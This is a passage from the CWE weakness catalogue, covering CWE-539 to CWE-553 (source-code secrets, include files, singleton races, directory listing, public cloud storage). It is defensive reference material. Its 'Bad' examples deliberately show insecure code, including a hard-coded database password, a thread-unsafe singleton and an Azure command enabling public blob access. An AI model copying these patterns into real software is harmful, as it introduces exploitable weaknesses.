Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in persistent cookies.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2359
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

CWE-540: Inclusion of Sensitive Information in Source Code

Weakness ID : 540
Structure : Simple
Abstraction : Base

Description

Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.

Extended Description

There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1257
ParentOf	V	531	Inclusion of Sensitive Information in Test Code	1249
ParentOf	V	541	Inclusion of Sensitive Information in an Include File	1262
ParentOf	V	615	Inclusion of Sensitive Information in Source Code Comments	1383

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(Bad)*

```php
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(Bad)*

```php
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

Example 2:

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

Example Language: JSP *(Bad)*

```jsp
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Observed Examples

Reference	Description
CVE-2022-25512	Server for Team Awareness Kit (TAK) application includes sensitive tokens in the JavaScript source code. *https://www.cve.org/CVERecord?id=CVE-2022-25512*
CVE-2022-24867	The LDAP password might be visible in the html code of a rendered page in an IT Asset Management tool. *https://www.cve.org/CVERecord?id=CVE-2022-24867*
CVE-2007-6197	Version numbers and internal hostnames leaked in HTML comments. *https://www.cve.org/CVERecord?id=CVE-2007-6197*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

CWE-541: Inclusion of Sensitive Information in an Include File

Weakness ID : 541
Structure : Simple
Abstraction : Variant

Description

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1260

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in include files.

Phase: Architecture and Design

Phase: System Configuration

Protect include files from being exposed.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(Bad)*

```php
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(Bad)*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2514
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

Weakness ID : 543
Structure : Simple
Abstraction : Variant

Description

The product uses the singleton pattern when creating a resource within a multithreaded environment.

Extended Description

The use of a singleton pattern may not be thread-safe.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1729

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1457

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1457

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Other Modify Application Data	

Potential Mitigations

Phase: Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

Phase: Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

Phase: Implementation

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

Effectiveness = Limited

Demonstrative Examples

Example 1:

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

Example Language: Java *(Bad)*

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
  if (singleton == null) {
    singleton = new NumberConverter();
  }
  return singleton;
}
```

Consider the following course of events:

- Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.
- Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.
- Thread B continues and constructs another NumberConverter object and returns it while exiting the method.
- Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2391
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2432
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC07-J		Prevent multiple instantiations of singleton objects
Software Fault Patterns	SFP19		Missing Lock

References

[REF-474]Douglas C. Schmidt, Timothy H. Harrison and Nat Pryce. "Thread-Specifc Storage for C/C++". < http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf >.

CWE-544: Missing Standardized Error Handling Mechanism

Weakness ID : 544
Structure : Simple
Abstraction : Base

Description

The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

Extended Description

If the product handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1585

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2448

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2344

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Quality Degradation Unexpected State Varies by Context	

Potential Mitigations

Phase: Architecture and Design

define a strategy for handling errors of different severities, such as fatal errors versus basic log events. Use or create built-in language features, or an external package, that provides an easy-to-use API and define coding standards for the detection and handling of errors.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2371
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2400
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2420
MemberOf	C	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2552

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ERR00-C		Adopt and implement a consistent and comprehensive error-handling policy

CWE-546: Suspicious Comment

Weakness ID : 546
Structure : Simple
Abstraction : Variant

Description

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

Extended Description

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1078	Inappropriate Source Code Style or Formatting	1927
PeerOf	V	615	Inclusion of Sensitive Information in Source Code Comments	1383

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.*	

Potential Mitigations

Phase: Documentation

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

Demonstrative Examples

Example 1:

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

Example Language: Java *(Bad)*

```
if (user == null) {
  // TODO: Handle null user condition.
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID : 547
Structure : Simple
Abstraction : Base

Description

The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

Extended Description

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1078	Inappropriate Source Code Style or Formatting	1927

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation *The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

Demonstrative Examples

Example 1:

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

Example Language: C *(Bad)*

```
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurrences, in this example it could lead to a buffer overflow.

Example Language: C *(Good)*

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	2362
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	2417
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2514
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL06-C		Use meaningful symbolic constants to represent literal values in program logic

CWE-548: Exposure of Information Through Directory Listing

Weakness ID : 548
Structure : Simple
Abstraction : Variant

Description

A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

Extended Description

A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1201

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories *Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	2412
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1026	2459
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
WASC	16		Directory Indexing

CWE-549: Missing Password Field Masking

Weakness ID : 549
Structure : Simple
Abstraction : Base

Description

The product does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1234

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2336
MemberOf	C	355	User Interface Security Issues	2341

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: Requirements

Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	2439
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-550: Server-generated Error Message Containing Sensitive Information

Weakness ID : 550
Structure : Simple
Abstraction : Variant

Description

Certain conditions, such as network failure, will cause a server error message to be displayed.

Extended Description

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	209	Generation of Error Message Containing Sensitive Information	540

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	2452

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

Weakness ID : 551
Structure : Simple
Abstraction : Base

Description

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

Extended Description

For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	696	Incorrect Behavior Order	1535
ChildOf	C	863	Incorrect Authorization	1796

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2497
MemberOf	C	438	Behavioral Problems	2348

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2356
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2416
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

CWE-552: Files or Directories Accessible to External Parties

Weakness ID : 552
Structure : Simple
Abstraction : Base

Description

The product makes files or directories accessible to unauthorized actors, even though they should not be.

Extended Description

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.

In cloud technologies and containers, this weakness might present itself in the form of misconfigured storage accounts that can be read or written by a public or anonymous user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	691
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478
ParentOf	V	219	Storage of File with Sensitive Data Under Web Root	560
ParentOf	V	220	Storage of File With Sensitive Data Under FTP Root	562
ParentOf	V	527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	1245
ParentOf	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	1246
ParentOf	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	1247
ParentOf	V	530	Exposure of Backup File to an Unauthorized Control Sphere	1248
ParentOf	V	539	Use of Persistent Cookies Containing Sensitive Information	1259

Nature	Type	ID	Name	Page
ParentOf	V	553	Command Shell in Externally Accessible Directory	1277

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2497

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : Cloud Computing *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: System Configuration

Phase: Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

Demonstrative Examples

Example 1:

The following Azure command updates the settings for a storage account:

Example Language: Shell *(Bad)*

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true
```

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

Example Language: Shell *(Good)*

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false
```

Example 2:

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

Example Language: Shell *(Informative)*

```
gsutil iam get gs://BUCKET_NAME
```

Suppose the command returns the following result:

Example Language: JSON *(Bad)*

```
{
  "bindings":[{
    "members":[
      "projectEditor: PROJECT-ID",
      "projectOwner: PROJECT-ID"
    ],
    "role":"roles/storage.legacyBucketOwner"
  },
  {
    "members":[
      "allUsers",
      "projectViewer: PROJECT-ID"
      ],
      "role":"roles/storage.legacyBucketReader"
    }
  ]
}
```

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

Example Language: Shell *(Good)*

```
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME
```

Observed Examples

Reference	Description
CVE-2005-1835	Data file under web root. *https://www.cve.org/CVERecord?id=CVE-2005-1835*

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2368
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2379
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2398
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO15-C		Ensure that file operations are performed in a secure directory

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
150	Collect Data from Common Resource Locations
639	Probe System Files

References

[REF-1307]Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". 2022 August 6. < https://www.cisecurity.org/benchmark/azure >.2023-01-19.

[REF-1327]Center for Internet Security. "CIS Google Cloud Computing Platform Benchmark version 1.3.0". 2022 March 1. < https://www.cisecurity.org/benchmark/google_cloud_computing_platform >.2023-04-24.

CWE-553: Command Shell in Externally Accessible Directory

Weakness ID : 553
Structure : Simple
Abstraction : Variant

Description

A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1274

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Installation

Phase: System Configuration

Remove any Shells accessible under the web root folder and children directories.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
